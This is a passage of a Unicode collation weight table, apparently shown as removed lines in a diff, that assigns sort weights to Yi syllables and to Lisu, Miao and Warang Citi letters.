-A392  ; [.3FBA.0020.0002] # YI SYLLABLE RRYRX
-A393  ; [.3FBB.0020.0002] # YI SYLLABLE RRYR
-A394  ; [.3FBC.0020.0002] # YI SYLLABLE NRAT
-A395  ; [.3FBD.0020.0002] # YI SYLLABLE NRAX
-A396  ; [.3FBE.0020.0002] # YI SYLLABLE NRA
-A397  ; [.3FBF.0020.0002] # YI SYLLABLE NRAP
-A398  ; [.3FC0.0020.0002] # YI SYLLABLE NROX
-A399  ; [.3FC1.0020.0002] # YI SYLLABLE NRO
-A39A  ; [.3FC2.0020.0002] # YI SYLLABLE NROP
-A39B  ; [.3FC3.0020.0002] # YI SYLLABLE NRET
-A39C  ; [.3FC4.0020.0002] # YI SYLLABLE NREX
-A39D  ; [.3FC5.0020.0002] # YI SYLLABLE NRE
-A39E  ; [.3FC6.0020.0002] # YI SYLLABLE NREP
-A39F  ; [.3FC7.0020.0002] # YI SYLLABLE NRUT
-A3A0  ; [.3FC8.0020.0002] # YI SYLLABLE NRUX
-A3A1  ; [.3FC9.0020.0002] # YI SYLLABLE NRU
-A3A2  ; [.3FCA.0020.0002] # YI SYLLABLE NRUP
-A3A3  ; [.3FCB.0020.0002] # YI SYLLABLE NRURX
-A3A4  ; [.3FCC.0020.0002] # YI SYLLABLE NRUR
-A3A5  ; [.3FCD.0020.0002] # YI SYLLABLE NRYT
-A3A6  ; [.3FCE.0020.0002] # YI SYLLABLE NRYX
-A3A7  ; [.3FCF.0020.0002] # YI SYLLABLE NRY
-A3A8  ; [.3FD0.0020.0002] # YI SYLLABLE NRYP
-A3A9  ; [.3FD1.0020.0002] # YI SYLLABLE NRYRX
-A3AA  ; [.3FD2.0020.0002] # YI SYLLABLE NRYR
-A3AB  ; [.3FD3.0020.0002] # YI SYLLABLE SHAT
-A3AC  ; [.3FD4.0020.0002] # YI SYLLABLE SHAX
-A3AD  ; [.3FD5.0020.0002] # YI SYLLABLE SHA
-A3AE  ; [.3FD6.0020.0002] # YI SYLLABLE SHAP
-A3AF  ; [.3FD7.0020.0002] # YI SYLLABLE SHUOX
-A3B0  ; [.3FD8.0020.0002] # YI SYLLABLE SHUO
-A3B1  ; [.3FD9.0020.0002] # YI SYLLABLE SHUOP
-A3B2  ; [.3FDA.0020.0002] # YI SYLLABLE SHOT
-A3B3  ; [.3FDB.0020.0002] # YI SYLLABLE SHOX
-A3B4  ; [.3FDC.0020.0002] # YI SYLLABLE SHO
-A3B5  ; [.3FDD.0020.0002] # YI SYLLABLE SHOP
-A3B6  ; [.3FDE.0020.0002] # YI SYLLABLE SHET
-A3B7  ; [.3FDF.0020.0002] # YI SYLLABLE SHEX
-A3B8  ; [.3FE0.0020.0002] # YI SYLLABLE SHE
-A3B9  ; [.3FE1.0020.0002] # YI SYLLABLE SHEP
-A3BA  ; [.3FE2.0020.0002] # YI SYLLABLE SHUT
-A3BB  ; [.3FE3.0020.0002] # YI SYLLABLE SHUX
-A3BC  ; [.3FE4.0020.0002] # YI SYLLABLE SHU
-A3BD  ; [.3FE5.0020.0002] # YI SYLLABLE SHUP
-A3BE  ; [.3FE6.0020.0002] # YI SYLLABLE SHURX
-A3BF  ; [.3FE7.0020.0002] # YI SYLLABLE SHUR
-A3C0  ; [.3FE8.0020.0002] # YI SYLLABLE SHYT
-A3C1  ; [.3FE9.0020.0002] # YI SYLLABLE SHYX
-A3C2  ; [.3FEA.0020.0002] # YI SYLLABLE SHY
-A3C3  ; [.3FEB.0020.0002] # YI SYLLABLE SHYP
-A3C4  ; [.3FEC.0020.0002] # YI SYLLABLE SHYRX
-A3C5  ; [.3FED.0020.0002] # YI SYLLABLE SHYR
-A3C6  ; [.3FEE.0020.0002] # YI SYLLABLE RAT
-A3C7  ; [.3FEF.0020.0002] # YI SYLLABLE RAX
-A3C8  ; [.3FF0.0020.0002] # YI SYLLABLE RA
-A3C9  ; [.3FF1.0020.0002] # YI SYLLABLE RAP
-A3CA  ; [.3FF2.0020.0002] # YI SYLLABLE RUOX
-A3CB  ; [.3FF3.0020.0002] # YI SYLLABLE RUO
-A3CC  ; [.3FF4.0020.0002] # YI SYLLABLE RUOP
-A3CD  ; [.3FF5.0020.0002] # YI SYLLABLE ROT
-A3CE  ; [.3FF6.0020.0002] # YI SYLLABLE ROX
-A3CF  ; [.3FF7.0020.0002] # YI SYLLABLE RO
-A3D0  ; [.3FF8.0020.0002] # YI SYLLABLE ROP
-A3D1  ; [.3FF9.0020.0002] # YI SYLLABLE REX
-A3D2  ; [.3FFA.0020.0002] # YI SYLLABLE RE
-A3D3  ; [.3FFB.0020.0002] # YI SYLLABLE REP
-A3D4  ; [.3FFC.0020.0002] # YI SYLLABLE RUT
-A3D5  ; [.3FFD.0020.0002] # YI SYLLABLE RUX
-A3D6  ; [.3FFE.0020.0002] # YI SYLLABLE RU
-A3D7  ; [.3FFF.0020.0002] # YI SYLLABLE RUP
-A3D8  ; [.4000.0020.0002] # YI SYLLABLE RURX
-A3D9  ; [.4001.0020.0002] # YI SYLLABLE RUR
-A3DA  ; [.4002.0020.0002] # YI SYLLABLE RYT
-A3DB  ; [.4003.0020.0002] # YI SYLLABLE RYX
-A3DC  ; [.4004.0020.0002] # YI SYLLABLE RY
-A3DD  ; [.4005.0020.0002] # YI SYLLABLE RYP
-A3DE  ; [.4006.0020.0002] # YI SYLLABLE RYRX
-A3DF  ; [.4007.0020.0002] # YI SYLLABLE RYR
-A3E0  ; [.4008.0020.0002] # YI SYLLABLE JIT
-A3E1  ; [.4009.0020.0002] # YI SYLLABLE JIX
-A3E2  ; [.400A.0020.0002] # YI SYLLABLE JI
-A3E3  ; [.400B.0020.0002] # YI SYLLABLE JIP
-A3E4  ; [.400C.0020.0002] # YI SYLLABLE JIET
-A3E5  ; [.400D.0020.0002] # YI SYLLABLE JIEX
-A3E6  ; [.400E.0020.0002] # YI SYLLABLE JIE
-A3E7  ; [.400F.0020.0002] # YI SYLLABLE JIEP
-A3E8  ; [.4010.0020.0002] # YI SYLLABLE JUOT
-A3E9  ; [.4011.0020.0002] # YI SYLLABLE JUOX
-A3EA  ; [.4012.0020.0002] # YI SYLLABLE JUO
-A3EB  ; [.4013.0020.0002] # YI SYLLABLE JUOP
-A3EC  ; [.4014.0020.0002] # YI SYLLABLE JOT
-A3ED  ; [.4015.0020.0002] # YI SYLLABLE JOX
-A3EE  ; [.4016.0020.0002] # YI SYLLABLE JO
-A3EF  ; [.4017.0020.0002] # YI SYLLABLE JOP
-A3F0  ; [.4018.0020.0002] # YI SYLLABLE JUT
-A3F1  ; [.4019.0020.0002] # YI SYLLABLE JUX
-A3F2  ; [.401A.0020.0002] # YI SYLLABLE JU
-A3F3  ; [.401B.0020.0002] # YI SYLLABLE JUP
-A3F4  ; [.401C.0020.0002] # YI SYLLABLE JURX
-A3F5  ; [.401D.0020.0002] # YI SYLLABLE JUR
-A3F6  ; [.401E.0020.0002] # YI SYLLABLE JYT
-A3F7  ; [.401F.0020.0002] # YI SYLLABLE JYX
-A3F8  ; [.4020.0020.0002] # YI SYLLABLE JY
-A3F9  ; [.4021.0020.0002] # YI SYLLABLE JYP
-A3FA  ; [.4022.0020.0002] # YI SYLLABLE JYRX
-A3FB  ; [.4023.0020.0002] # YI SYLLABLE JYR
-A3FC  ; [.4024.0020.0002] # YI SYLLABLE QIT
-A3FD  ; [.4025.0020.0002] # YI SYLLABLE QIX
-A3FE  ; [.4026.0020.0002] # YI SYLLABLE QI
-A3FF  ; [.4027.0020.0002] # YI SYLLABLE QIP
-A400  ; [.4028.0020.0002] # YI SYLLABLE QIET
-A401  ; [.4029.0020.0002] # YI SYLLABLE QIEX
-A402  ; [.402A.0020.0002] # YI SYLLABLE QIE
-A403  ; [.402B.0020.0002] # YI SYLLABLE QIEP
-A404  ; [.402C.0020.0002] # YI SYLLABLE QUOT
-A405  ; [.402D.0020.0002] # YI SYLLABLE QUOX
-A406  ; [.402E.0020.0002] # YI SYLLABLE QUO
-A407  ; [.402F.0020.0002] # YI SYLLABLE QUOP
-A408  ; [.4030.0020.0002] # YI SYLLABLE QOT
-A409  ; [.4031.0020.0002] # YI SYLLABLE QOX
-A40A  ; [.4032.0020.0002] # YI SYLLABLE QO
-A40B  ; [.4033.0020.0002] # YI SYLLABLE QOP
-A40C  ; [.4034.0020.0002] # YI SYLLABLE QUT
-A40D  ; [.4035.0020.0002] # YI SYLLABLE QUX
-A40E  ; [.4036.0020.0002] # YI SYLLABLE QU
-A40F  ; [.4037.0020.0002] # YI SYLLABLE QUP
-A410  ; [.4038.0020.0002] # YI SYLLABLE QURX
-A411  ; [.4039.0020.0002] # YI SYLLABLE QUR
-A412  ; [.403A.0020.0002] # YI SYLLABLE QYT
-A413  ; [.403B.0020.0002] # YI SYLLABLE QYX
-A414  ; [.403C.0020.0002] # YI SYLLABLE QY
-A415  ; [.403D.0020.0002] # YI SYLLABLE QYP
-A416  ; [.403E.0020.0002] # YI SYLLABLE QYRX
-A417  ; [.403F.0020.0002] # YI SYLLABLE QYR
-A418  ; [.4040.0020.0002] # YI SYLLABLE JJIT
-A419  ; [.4041.0020.0002] # YI SYLLABLE JJIX
-A41A  ; [.4042.0020.0002] # YI SYLLABLE JJI
-A41B  ; [.4043.0020.0002] # YI SYLLABLE JJIP
-A41C  ; [.4044.0020.0002] # YI SYLLABLE JJIET
-A41D  ; [.4045.0020.0002] # YI SYLLABLE JJIEX
-A41E  ; [.4046.0020.0002] # YI SYLLABLE JJIE
-A41F  ; [.4047.0020.0002] # YI SYLLABLE JJIEP
-A420  ; [.4048.0020.0002] # YI SYLLABLE JJUOX
-A421  ; [.4049.0020.0002] # YI SYLLABLE JJUO
-A422  ; [.404A.0020.0002] # YI SYLLABLE JJUOP
-A423  ; [.404B.0020.0002] # YI SYLLABLE JJOT
-A424  ; [.404C.0020.0002] # YI SYLLABLE JJOX
-A425  ; [.404D.0020.0002] # YI SYLLABLE JJO
-A426  ; [.404E.0020.0002] # YI SYLLABLE JJOP
-A427  ; [.404F.0020.0002] # YI SYLLABLE JJUT
-A428  ; [.4050.0020.0002] # YI SYLLABLE JJUX
-A429  ; [.4051.0020.0002] # YI SYLLABLE JJU
-A42A  ; [.4052.0020.0002] # YI SYLLABLE JJUP
-A42B  ; [.4053.0020.0002] # YI SYLLABLE JJURX
-A42C  ; [.4054.0020.0002] # YI SYLLABLE JJUR
-A42D  ; [.4055.0020.0002] # YI SYLLABLE JJYT
-A42E  ; [.4056.0020.0002] # YI SYLLABLE JJYX
-A42F  ; [.4057.0020.0002] # YI SYLLABLE JJY
-A430  ; [.4058.0020.0002] # YI SYLLABLE JJYP
-A431  ; [.4059.0020.0002] # YI SYLLABLE NJIT
-A432  ; [.405A.0020.0002] # YI SYLLABLE NJIX
-A433  ; [.405B.0020.0002] # YI SYLLABLE NJI
-A434  ; [.405C.0020.0002] # YI SYLLABLE NJIP
-A435  ; [.405D.0020.0002] # YI SYLLABLE NJIET
-A436  ; [.405E.0020.0002] # YI SYLLABLE NJIEX
-A437  ; [.405F.0020.0002] # YI SYLLABLE NJIE
-A438  ; [.4060.0020.0002] # YI SYLLABLE NJIEP
-A439  ; [.4061.0020.0002] # YI SYLLABLE NJUOX
-A43A  ; [.4062.0020.0002] # YI SYLLABLE NJUO
-A43B  ; [.4063.0020.0002] # YI SYLLABLE NJOT
-A43C  ; [.4064.0020.0002] # YI SYLLABLE NJOX
-A43D  ; [.4065.0020.0002] # YI SYLLABLE NJO
-A43E  ; [.4066.0020.0002] # YI SYLLABLE NJOP
-A43F  ; [.4067.0020.0002] # YI SYLLABLE NJUX
-A440  ; [.4068.0020.0002] # YI SYLLABLE NJU
-A441  ; [.4069.0020.0002] # YI SYLLABLE NJUP
-A442  ; [.406A.0020.0002] # YI SYLLABLE NJURX
-A443  ; [.406B.0020.0002] # YI SYLLABLE NJUR
-A444  ; [.406C.0020.0002] # YI SYLLABLE NJYT
-A445  ; [.406D.0020.0002] # YI SYLLABLE NJYX
-A446  ; [.406E.0020.0002] # YI SYLLABLE NJY
-A447  ; [.406F.0020.0002] # YI SYLLABLE NJYP
-A448  ; [.4070.0020.0002] # YI SYLLABLE NJYRX
-A449  ; [.4071.0020.0002] # YI SYLLABLE NJYR
-A44A  ; [.4072.0020.0002] # YI SYLLABLE NYIT
-A44B  ; [.4073.0020.0002] # YI SYLLABLE NYIX
-A44C  ; [.4074.0020.0002] # YI SYLLABLE NYI
-A44D  ; [.4075.0020.0002] # YI SYLLABLE NYIP
-A44E  ; [.4076.0020.0002] # YI SYLLABLE NYIET
-A44F  ; [.4077.0020.0002] # YI SYLLABLE NYIEX
-A450  ; [.4078.0020.0002] # YI SYLLABLE NYIE
-A451  ; [.4079.0020.0002] # YI SYLLABLE NYIEP
-A452  ; [.407A.0020.0002] # YI SYLLABLE NYUOX
-A453  ; [.407B.0020.0002] # YI SYLLABLE NYUO
-A454  ; [.407C.0020.0002] # YI SYLLABLE NYUOP
-A455  ; [.407D.0020.0002] # YI SYLLABLE NYOT
-A456  ; [.407E.0020.0002] # YI SYLLABLE NYOX
-A457  ; [.407F.0020.0002] # YI SYLLABLE NYO
-A458  ; [.4080.0020.0002] # YI SYLLABLE NYOP
-A459  ; [.4081.0020.0002] # YI SYLLABLE NYUT
-A45A  ; [.4082.0020.0002] # YI SYLLABLE NYUX
-A45B  ; [.4083.0020.0002] # YI SYLLABLE NYU
-A45C  ; [.4084.0020.0002] # YI SYLLABLE NYUP
-A45D  ; [.4085.0020.0002] # YI SYLLABLE XIT
-A45E  ; [.4086.0020.0002] # YI SYLLABLE XIX
-A45F  ; [.4087.0020.0002] # YI SYLLABLE XI
-A460  ; [.4088.0020.0002] # YI SYLLABLE XIP
-A461  ; [.4089.0020.0002] # YI SYLLABLE XIET
-A462  ; [.408A.0020.0002] # YI SYLLABLE XIEX
-A463  ; [.408B.0020.0002] # YI SYLLABLE XIE
-A464  ; [.408C.0020.0002] # YI SYLLABLE XIEP
-A465  ; [.408D.0020.0002] # YI SYLLABLE XUOX
-A466  ; [.408E.0020.0002] # YI SYLLABLE XUO
-A467  ; [.408F.0020.0002] # YI SYLLABLE XOT
-A468  ; [.4090.0020.0002] # YI SYLLABLE XOX
-A469  ; [.4091.0020.0002] # YI SYLLABLE XO
-A46A  ; [.4092.0020.0002] # YI SYLLABLE XOP
-A46B  ; [.4093.0020.0002] # YI SYLLABLE XYT
-A46C  ; [.4094.0020.0002] # YI SYLLABLE XYX
-A46D  ; [.4095.0020.0002] # YI SYLLABLE XY
-A46E  ; [.4096.0020.0002] # YI SYLLABLE XYP
-A46F  ; [.4097.0020.0002] # YI SYLLABLE XYRX
-A470  ; [.4098.0020.0002] # YI SYLLABLE XYR
-A471  ; [.4099.0020.0002] # YI SYLLABLE YIT
-A472  ; [.409A.0020.0002] # YI SYLLABLE YIX
-A473  ; [.409B.0020.0002] # YI SYLLABLE YI
-A474  ; [.409C.0020.0002] # YI SYLLABLE YIP
-A475  ; [.409D.0020.0002] # YI SYLLABLE YIET
-A476  ; [.409E.0020.0002] # YI SYLLABLE YIEX
-A477  ; [.409F.0020.0002] # YI SYLLABLE YIE
-A478  ; [.40A0.0020.0002] # YI SYLLABLE YIEP
-A479  ; [.40A1.0020.0002] # YI SYLLABLE YUOT
-A47A  ; [.40A2.0020.0002] # YI SYLLABLE YUOX
-A47B  ; [.40A3.0020.0002] # YI SYLLABLE YUO
-A47C  ; [.40A4.0020.0002] # YI SYLLABLE YUOP
-A47D  ; [.40A5.0020.0002] # YI SYLLABLE YOT
-A47E  ; [.40A6.0020.0002] # YI SYLLABLE YOX
-A47F  ; [.40A7.0020.0002] # YI SYLLABLE YO
-A480  ; [.40A8.0020.0002] # YI SYLLABLE YOP
-A481  ; [.40A9.0020.0002] # YI SYLLABLE YUT
-A482  ; [.40AA.0020.0002] # YI SYLLABLE YUX
-A483  ; [.40AB.0020.0002] # YI SYLLABLE YU
-A484  ; [.40AC.0020.0002] # YI SYLLABLE YUP
-A485  ; [.40AD.0020.0002] # YI SYLLABLE YURX
-A486  ; [.40AE.0020.0002] # YI SYLLABLE YUR
-A487  ; [.40AF.0020.0002] # YI SYLLABLE YYT
-A488  ; [.40B0.0020.0002] # YI SYLLABLE YYX
-A489  ; [.40B1.0020.0002] # YI SYLLABLE YY
-A48A  ; [.40B2.0020.0002] # YI SYLLABLE YYP
-A48B  ; [.40B3.0020.0002] # YI SYLLABLE YYRX
-A48C  ; [.40B4.0020.0002] # YI SYLLABLE YYR
-A4F8  ; [.40B5.0020.0002] # LISU LETTER TONE MYA TI
-A4F9  ; [.40B6.0020.0002] # LISU LETTER TONE NA PO
-A4FA  ; [.40B7.0020.0002] # LISU LETTER TONE MYA CYA
-A4FB  ; [.40B8.0020.0002] # LISU LETTER TONE MYA BO
-A4FD  ; [.40B9.0020.0002] # LISU LETTER TONE MYA JEU
-A4FC  ; [.40BA.0020.0002] # LISU LETTER TONE MYA NA
-A4D0  ; [.40BB.0020.0002] # LISU LETTER BA
-A4D1  ; [.40BC.0020.0002] # LISU LETTER PA
-A4D2  ; [.40BD.0020.0002] # LISU LETTER PHA
-A4D3  ; [.40BE.0020.0002] # LISU LETTER DA
-A4D4  ; [.40BF.0020.0002] # LISU LETTER TA
-A4D5  ; [.40C0.0020.0002] # LISU LETTER THA
-A4D6  ; [.40C1.0020.0002] # LISU LETTER GA
-A4D7  ; [.40C2.0020.0002] # LISU LETTER KA
-A4D8  ; [.40C3.0020.0002] # LISU LETTER KHA
-A4D9  ; [.40C4.0020.0002] # LISU LETTER JA
-A4DA  ; [.40C5.0020.0002] # LISU LETTER CA
-A4DB  ; [.40C6.0020.0002] # LISU LETTER CHA
-A4DC  ; [.40C7.0020.0002] # LISU LETTER DZA
-A4DD  ; [.40C8.0020.0002] # LISU LETTER TSA
-A4DE  ; [.40C9.0020.0002] # LISU LETTER TSHA
-A4DF  ; [.40CA.0020.0002] # LISU LETTER MA
-A4E0  ; [.40CB.0020.0002] # LISU LETTER NA
-A4E1  ; [.40CC.0020.0002] # LISU LETTER LA
-A4E2  ; [.40CD.0020.0002] # LISU LETTER SA
-A4E3  ; [.40CE.0020.0002] # LISU LETTER ZHA
-A4E4  ; [.40CF.0020.0002] # LISU LETTER ZA
-A4E5  ; [.40D0.0020.0002] # LISU LETTER NGA
-A4E6  ; [.40D1.0020.0002] # LISU LETTER HA
-A4E7  ; [.40D2.0020.0002] # LISU LETTER XA
-A4E8  ; [.40D3.0020.0002] # LISU LETTER HHA
-A4E9  ; [.40D4.0020.0002] # LISU LETTER FA
-A4EB  ; [.40D5.0020.0002] # LISU LETTER SHA
-A4ED  ; [.40D6.0020.0002] # LISU LETTER GHA
-A4EA  ; [.40D7.0020.0002] # LISU LETTER WA
-A4EC  ; [.40D8.0020.0002] # LISU LETTER YA
-A4EE  ; [.40D9.0020.0002] # LISU LETTER A
-A4EF  ; [.40DA.0020.0002] # LISU LETTER AE
-A4F0  ; [.40DB.0020.0002] # LISU LETTER E
-A4F1  ; [.40DC.0020.0002] # LISU LETTER EU
-A4F2  ; [.40DD.0020.0002] # LISU LETTER I
-A4F3  ; [.40DE.0020.0002] # LISU LETTER O
-A4F4  ; [.40DF.0020.0002] # LISU LETTER U
-A4F5  ; [.40E0.0020.0002] # LISU LETTER UE
-A4F6  ; [.40E1.0020.0002] # LISU LETTER UH
-A4F7  ; [.40E2.0020.0002] # LISU LETTER OE
-16F00 ; [.40E3.0020.0002] # MIAO LETTER PA
-16F01 ; [.40E4.0020.0002] # MIAO LETTER BA
-16F02 ; [.40E5.0020.0002] # MIAO LETTER YI PA
-16F03 ; [.40E6.0020.0002] # MIAO LETTER PLA
-16F04 ; [.40E7.0020.0002] # MIAO LETTER MA
-16F06 ; [.40E7.0020.0004] # MIAO LETTER ARCHAIC MA
-16F05 ; [.40E8.0020.0002] # MIAO LETTER MHA
-16F07 ; [.40E9.0020.0002] # MIAO LETTER FA
-16F08 ; [.40EA.0020.0002] # MIAO LETTER VA
-16F09 ; [.40EB.0020.0002] # MIAO LETTER VFA
-16F0A ; [.40EC.0020.0002] # MIAO LETTER TA
-16F0B ; [.40ED.0020.0002] # MIAO LETTER DA
-16F0C ; [.40EE.0020.0002] # MIAO LETTER YI TTA
-16F0D ; [.40EF.0020.0002] # MIAO LETTER YI TA
-16F0E ; [.40F0.0020.0002] # MIAO LETTER TTA
-16F0F ; [.40F1.0020.0002] # MIAO LETTER DDA
-16F10 ; [.40F2.0020.0002] # MIAO LETTER NA
-16F13 ; [.40F2.0020.0004] # MIAO LETTER ARCHAIC NA
-16F11 ; [.40F3.0020.0002] # MIAO LETTER NHA
-16F12 ; [.40F4.0020.0002] # MIAO LETTER YI NNA
-16F14 ; [.40F5.0020.0002] # MIAO LETTER NNA
-16F15 ; [.40F6.0020.0002] # MIAO LETTER NNHA
-16F16 ; [.40F7.0020.0002] # MIAO LETTER LA
-16F17 ; [.40F8.0020.0002] # MIAO LETTER LYA
-16F18 ; [.40F9.0020.0002] # MIAO LETTER LHA
-16F19 ; [.40FA.0020.0002] # MIAO LETTER LHYA
-16F1A ; [.40FB.0020.0002] # MIAO LETTER TLHA
-16F1B ; [.40FC.0020.0002] # MIAO LETTER DLHA
-16F1C ; [.40FD.0020.0002] # MIAO LETTER TLHYA
-16F1D ; [.40FE.0020.0002] # MIAO LETTER DLHYA
-16F1E ; [.40FF.0020.0002] # MIAO LETTER KA
-16F1F ; [.4100.0020.0002] # MIAO LETTER GA
-16F20 ; [.4101.0020.0002] # MIAO LETTER YI KA
-16F21 ; [.4102.0020.0002] # MIAO LETTER QA
-16F22 ; [.4103.0020.0002] # MIAO LETTER QGA
-16F23 ; [.4104.0020.0002] # MIAO LETTER NGA
-16F25 ; [.4104.0020.0004] # MIAO LETTER ARCHAIC NGA
-16F24 ; [.4105.0020.0002] # MIAO LETTER NGHA
-16F26 ; [.4106.0020.0002] # MIAO LETTER HA
-16F27 ; [.4107.0020.0002] # MIAO LETTER XA
-16F28 ; [.4108.0020.0002] # MIAO LETTER GHA
-16F29 ; [.4109.0020.0002] # MIAO LETTER GHHA
-16F2A ; [.410A.0020.0002] # MIAO LETTER TSSA
-16F2B ; [.410B.0020.0002] # MIAO LETTER DZZA
-16F2C ; [.410C.0020.0002] # MIAO LETTER NYA
-16F2D ; [.410D.0020.0002] # MIAO LETTER NYHA
-16F2E ; [.410E.0020.0002] # MIAO LETTER TSHA
-16F2F ; [.410F.0020.0002] # MIAO LETTER DZHA
-16F30 ; [.4110.0020.0002] # MIAO LETTER YI TSHA
-16F31 ; [.4111.0020.0002] # MIAO LETTER YI DZHA
-16F32 ; [.4112.0020.0002] # MIAO LETTER REFORMED TSHA
-16F33 ; [.4113.0020.0002] # MIAO LETTER SHA
-16F34 ; [.4114.0020.0002] # MIAO LETTER SSA
-16F35 ; [.4115.0020.0002] # MIAO LETTER ZHA
-16F36 ; [.4116.0020.0002] # MIAO LETTER ZSHA
-16F37 ; [.4117.0020.0002] # MIAO LETTER TSA
-16F38 ; [.4118.0020.0002] # MIAO LETTER DZA
-16F39 ; [.4119.0020.0002] # MIAO LETTER YI TSA
-16F3A ; [.411A.0020.0002] # MIAO LETTER SA
-16F3B ; [.411B.0020.0002] # MIAO LETTER ZA
-16F3C ; [.411C.0020.0002] # MIAO LETTER ZSA
-16F3D ; [.411D.0020.0002] # MIAO LETTER ZZA
-16F3F ; [.411D.0020.0004] # MIAO LETTER ARCHAIC ZZA
-16F3E ; [.411E.0020.0002] # MIAO LETTER ZZSA
-16F40 ; [.411F.0020.0002] # MIAO LETTER ZZYA
-16F41 ; [.4120.0020.0002] # MIAO LETTER ZZSYA
-16F42 ; [.4121.0020.0002] # MIAO LETTER WA
-16F43 ; [.4122.0020.0002] # MIAO LETTER AH
-16F44 ; [.4123.0020.0002] # MIAO LETTER HHA
-16F50 ; [.4124.0020.0002] # MIAO LETTER NASALIZATION
-16F51 ; [.4125.0020.0002] # MIAO SIGN ASPIRATION
-16F52 ; [.4126.0020.0002] # MIAO SIGN REFORMED VOICING
-16F53 ; [.4127.0020.0002] # MIAO SIGN REFORMED ASPIRATION
-16F54 ; [.4128.0020.0002] # MIAO VOWEL SIGN A
-16F55 ; [.4129.0020.0002] # MIAO VOWEL SIGN AA
-16F56 ; [.412A.0020.0002] # MIAO VOWEL SIGN AHH
-16F57 ; [.412B.0020.0002] # MIAO VOWEL SIGN AN
-16F58 ; [.412C.0020.0002] # MIAO VOWEL SIGN ANG
-16F59 ; [.412D.0020.0002] # MIAO VOWEL SIGN O
-16F5A ; [.412E.0020.0002] # MIAO VOWEL SIGN OO
-16F5B ; [.412F.0020.0002] # MIAO VOWEL SIGN WO
-16F5C ; [.4130.0020.0002] # MIAO VOWEL SIGN W
-16F5D ; [.4131.0020.0002] # MIAO VOWEL SIGN E
-16F5E ; [.4132.0020.0002] # MIAO VOWEL SIGN EN
-16F5F ; [.4133.0020.0002] # MIAO VOWEL SIGN ENG
-16F60 ; [.4134.0020.0002] # MIAO VOWEL SIGN OEY
-16F61 ; [.4135.0020.0002] # MIAO VOWEL SIGN I
-16F62 ; [.4136.0020.0002] # MIAO VOWEL SIGN IA
-16F63 ; [.4137.0020.0002] # MIAO VOWEL SIGN IAN
-16F64 ; [.4138.0020.0002] # MIAO VOWEL SIGN IANG
-16F65 ; [.4139.0020.0002] # MIAO VOWEL SIGN IO
-16F66 ; [.413A.0020.0002] # MIAO VOWEL SIGN IE
-16F67 ; [.413B.0020.0002] # MIAO VOWEL SIGN II
-16F68 ; [.413C.0020.0002] # MIAO VOWEL SIGN IU
-16F69 ; [.413D.0020.0002] # MIAO VOWEL SIGN ING
-16F6A ; [.413E.0020.0002] # MIAO VOWEL SIGN U
-16F6B ; [.413F.0020.0002] # MIAO VOWEL SIGN UA
-16F6C ; [.4140.0020.0002] # MIAO VOWEL SIGN UAN
-16F6D ; [.4141.0020.0002] # MIAO VOWEL SIGN UANG
-16F6E ; [.4142.0020.0002] # MIAO VOWEL SIGN UU
-16F6F ; [.4143.0020.0002] # MIAO VOWEL SIGN UEI
-16F70 ; [.4144.0020.0002] # MIAO VOWEL SIGN UNG
-16F71 ; [.4145.0020.0002] # MIAO VOWEL SIGN Y
-16F72 ; [.4146.0020.0002] # MIAO VOWEL SIGN YI
-16F73 ; [.4147.0020.0002] # MIAO VOWEL SIGN AE
-16F74 ; [.4148.0020.0002] # MIAO VOWEL SIGN AEE
-16F75 ; [.4149.0020.0002] # MIAO VOWEL SIGN ERR
-16F76 ; [.414A.0020.0002] # MIAO VOWEL SIGN ROUNDED ERR
-16F77 ; [.414B.0020.0002] # MIAO VOWEL SIGN ER
-16F78 ; [.414C.0020.0002] # MIAO VOWEL SIGN ROUNDED ER
-16F79 ; [.414D.0020.0002] # MIAO VOWEL SIGN AI
-16F7A ; [.414E.0020.0002] # MIAO VOWEL SIGN EI
-16F7B ; [.414F.0020.0002] # MIAO VOWEL SIGN AU
-16F7C ; [.4150.0020.0002] # MIAO VOWEL SIGN OU
-16F7D ; [.4151.0020.0002] # MIAO VOWEL SIGN N
-16F7E ; [.4152.0020.0002] # MIAO VOWEL SIGN NG
-16F8F ; [.4153.0020.0002] # MIAO TONE RIGHT
-16F90 ; [.4154.0020.0002] # MIAO TONE TOP RIGHT
-16F91 ; [.4155.0020.0002] # MIAO TONE ABOVE
-16F92 ; [.4156.0020.0002] # MIAO TONE BELOW
-16F93 ; [.4157.0020.0002] # MIAO LETTER TONE-2
-16F94 ; [.4158.0020.0002] # MIAO LETTER TONE-3
-16F95 ; [.4159.0020.0002] # MIAO LETTER TONE-4
-16F96 ; [.415A.0020.0002] # MIAO LETTER TONE-5
-16F97 ; [.415B.0020.0002] # MIAO LETTER TONE-6
-16F98 ; [.415C.0020.0002] # MIAO LETTER TONE-7
-16F99 ; [.415D.0020.0002] # MIAO LETTER TONE-8
-16F9A ; [.415E.0020.0002] # MIAO LETTER REFORMED TONE-1
-16F9B ; [.415F.0020.0002] # MIAO LETTER REFORMED TONE-2
-16F9C ; [.4160.0020.0002] # MIAO LETTER REFORMED TONE-4
-16F9D ; [.4161.0020.0002] # MIAO LETTER REFORMED TONE-5
-16F9E ; [.4162.0020.0002] # MIAO LETTER REFORMED TONE-6
-16F9F ; [.4163.0020.0002] # MIAO LETTER REFORMED TONE-8
-118FF ; [.4164.0020.0002] # WARANG CITI OM
-118C0 ; [.4165.0020.0002] # WARANG CITI SMALL LETTER NGAA
-118A0 ; [.4165.0020.0008] # WARANG CITI CAPITAL LETTER NGAA
-118C1 ; [.4166.0020.0002] # WARANG CITI SMALL LETTER A
-118A1 ; [.4166.0020.0008] # WARANG CITI CAPITAL LETTER A
-118C2 ; [.4167.0020.0002] # WARANG CITI SMALL LETTER WI
-118A2 ; [.4167.0020.0008] # WARANG CITI CAPITAL LETTER WI
-118C3 ; [.4168.0020.0002] # WARANG CITI SMALL LETTER YU
-118A3 ; [.4168.0020.0008] # WARANG CITI CAPITAL LETTER YU
-118C4 ; [.4169.0020.0002] # WARANG CITI SMALL LETTER YA
-118A4 ; [.4169.0020.0008] # WARANG CITI CAPITAL LETTER YA
-118C5 ; [.416A.0020.0002] # WARANG CITI SMALL LETTER YO
-118A5 ; [.416A.0020.0008] # WARANG CITI CAPITAL LETTER YO
-118C6 ; [.416B.0020.0002] # WARANG CITI SMALL LETTER II
-118A6 ; [.416B.0020.0008] # WARANG CITI CAPITAL LETTER II
-118C7 ; [.416C.0020.0002] # WARANG CITI SMALL LETTER UU
-118A7 ; [.416C.0020.0008] # WARANG CITI CAPITAL LETTER UU
-118C8 ; [.416D.0020.0002] # WARANG CITI SMALL LETTER E
-118A8 ; [.416D.0020.0008] # WARANG CITI CAPITAL LETTER E
